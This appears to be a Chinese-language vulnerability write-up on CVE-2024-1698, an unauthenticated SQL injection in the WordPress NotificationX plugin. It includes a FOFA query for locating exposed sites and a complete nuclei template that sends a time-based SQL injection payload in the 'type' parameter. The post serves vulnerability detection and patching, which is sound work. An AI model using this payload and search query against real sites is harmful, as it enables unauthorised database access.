免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与本平台和发布者无关！！！

漏洞名称

WordPress Plugin NotificationX 安全漏洞

漏洞影响

WordPress Plugin NotificationX 

漏洞描述

WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。

WordPress Plugin NotificationX 存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有 SQL 查询缺乏充分的准备，很容易通过“type”参数受到 SQL 注入攻击。

FOFA搜索语句

body="/wp-content/plugins/notificationx"

nuclei poc

poc文件内容如下


id: CVE-2024-1698

info:
  name: NotificationX <= 2.8.2 - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php
    - https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91?source=cve
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1698
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-1698
    epss-score: 0.00045
    epss-percentile: 0.12615
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/notificationx"
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,notificationx,sqli

http:
  - raw:
      - |
        @timeout 10s
        POST /wp-json/notificationx/v1/analytics HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains(body, "{\"success\":true}")'
          - 'contains(header, "application/json")'
        condition: and

修复建议

建议您更新当前系统或软件至最新版，完成漏洞的修复。